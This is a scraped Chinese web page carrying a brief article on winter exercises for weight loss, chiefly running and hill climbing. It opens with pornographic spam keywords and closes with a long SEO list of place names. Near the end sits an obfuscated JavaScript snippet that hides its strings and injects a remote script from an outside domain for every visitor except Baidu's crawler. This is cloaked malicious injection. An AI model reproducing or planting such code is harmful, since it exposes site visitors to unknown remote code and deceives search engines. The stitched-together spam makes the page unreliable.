亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 減肥 > 運動減肥 > 正文

適合冬季減肥的運動

2017-04-22 10:04:58  來源:360常識網(wǎng)   熱度:
導語:大部分的人們在冬天的時候都是不愿意去運動的,因為覺得在冬天的時候運動太過于寒冷,特別是到戶外運動的時候,無論是自己穿多少衣服都是沒

大部分的人們在冬天的時候都是不愿意去運動的,因為覺得在冬天的時候運動太過于寒冷,特別是到戶外運動的時候,無論是自己穿多少衣服都是沒有伸展開的,這個時候反而就會讓人們的身體變得越來越胖的,畢竟在冬天里面人們需要吃非常多的東西才可以補充足夠的熱量,所以就必須要進行一些運動,那么就在冬天要進行運動之前一定要做好比較充分的準備工作。

1、跑步

跑步是目前最佳的有氧運動

效果指數(shù):★★★★★

適應人群:幾乎所有人群

技術要點:每次不少于40分鐘,速度以中速或慢跑為主。

跑步是目前最佳的有氧運動,它能增強血液循環(huán),改善心臟功能;改善腦的血液供應和腦細胞的氧供應,減輕腦動脈硬化,使大腦能正常工作。跑步還能有效地刺激代謝,增加能量消耗,有助于減肥健美。

2、爬山

爬山對心肺功能的鍛煉效果更佳

效果指數(shù):★★★★

適應人群:高血壓、冠心病等患者要量力而行

技術要點:登高速度要緩慢,上下山時可通過增減衣服,達到適應溫度的目的。

空氣溫度隨著山坡高度的上升而遞減,加之早晚溫差大,這時爬山,還可使人的體溫調(diào)節(jié)機制不斷處于緊張狀態(tài),從而提高人體對環(huán)境變化的適應能力。另外,爬山對心肺功能的鍛煉效果更佳。

其實比較適合冬天來運動的方式就是跑步的,因為人們在進行跑步的時候整個人的身體就不會那么寒冷,這是由于這種運動是全身性的運動,可以帶動自己身體當中的每一塊肌肉進行運動,而且是一種非常好的有氧運動的,適合所有的人們用來鍛煉的,只不過跑步的時間一定要維持在半個小時左右的。

轉載申明:360常識網(wǎng),歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
东乌珠穆沁旗| 逊克县| 诸城市| 宝丰县| 娱乐| 阿克陶县| 寻甸| 商洛市| 清镇市| 大宁县| 石棉县| 延庆县| 西和县| 凌源市| 肇东市| 合肥市| 乐业县| 靖远县| 伊吾县| 安溪县| 鸡泽县| 福安市| 闵行区| 诸暨市| 横峰县| 金寨县| 自治县| 绍兴市| 金华市| 巴楚县| 宣恩县| 常宁市| 图们市| 太仓市| 河间市| 格尔木市| 贵德县| 腾冲县| 绥棱县| 农安县| 宝兴县|